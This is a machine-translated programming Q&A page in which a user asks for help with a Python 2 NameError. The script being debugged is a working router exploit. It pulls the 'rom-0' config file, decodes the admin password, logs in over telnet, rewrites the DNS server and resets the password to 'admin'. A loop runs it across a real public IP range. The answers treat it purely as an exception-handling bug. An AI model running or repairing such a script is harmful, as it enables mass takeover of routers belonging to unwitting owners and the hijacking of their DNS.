我是python编程的新手。当我尝试运行一个简单的python脚本时,我在终端
中收到这样的错误root@bt:/tmp# python code.py
Traceback (most recent call last):
File "code.py", line 42, in <module>
print host+" -> Offline!"
NameError: name 'host' is not defined
我一直在谷歌搜索,但我很难解决我的问题,因为我是这种编程语言的新手。你能帮助我吗? 这是我的脚本:
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
from netaddr import IPNetwork
import urllib2
import urllib
import re
import getpass
import sys
import telnetlib
import time
import os
import socket
import sys
socket.setdefaulttimeout(4)
register_openers()
try:
os.remove("rom-0")
except:
pass
try:
host=str(sys.argv[1])
urllib.urlretrieve ("http://"+host+"/rom-0", "rom-0")
datagen, headers = multipart_encode({"uploadedfile": open("rom-0")})
request = urllib2.Request("http://localhost/decoded.php", datagen, headers)
str1 = urllib2.urlopen(request).read()
m = re.search('rows=10>(.*)', str1)
if m:
found = m.group(1)
tn = telnetlib.Telnet(host, 23, 3)
tn.read_until("Password: ")
tn.write(found + "\n")
tn.write("set lan dhcpdns 8.8.8.8\n")
tn.write("sys password admin\n")
print host+" -> Success"
tn.write("exit\n")
except:
print host+" -> Offline!"
我如何修复这样的错误。? 感谢
如果我在try.except之前输入:host = str(sys.argv [1]),则显示如下错误:
追踪(最近一次通话): 文件“code.py”,第17行,in 主机= STR(sys.argv中[1]) IndexError:列表索引超出范围
这是我的意见:
from netaddr import IPNetwork
import os
for ip in IPNetwork ('41.108.48.1/24'):
os.system("python code.py "+str(ip))
答案 0 :(得分:2)
您的except
子句将捕获try
块中任何代码行中的任何错误。如果您没有在命令行中指定足够的参数,则行host = str(sys.argv[1])
将失败,导致host
未分配,这会导致您在尝试print
时看到的错误。
您应该从try
块中取出大部分代码,并且/或者创建多个try
块,以便在更小的代码块中捕获错误。此外,您应该为每个except
指定要处理的实际异常类型,而不是尝试处理所有这些类型。 Bare except:
会抓住您可能不想抓住的内容,例如KeyboardInterrupt
和SystemExit
。如果您必须捕获大多数例外情况,请使用except Exception:
而不是except:
。
答案 1 :(得分:1)
您的脚本似乎需要输入参数
主机= STR(sys.argv中[1])
如果没有提供参数,如帖子所示,引发了异常并且在 >>定义主机参数之前的子句中被捕获
尝试在try / except块
之前声明host
答案 2 :(得分:-1)
您要在host
的第一行定义try/except
我相信错误就在第一行。
要调试此操作,请删除try/except
以查看实际错误。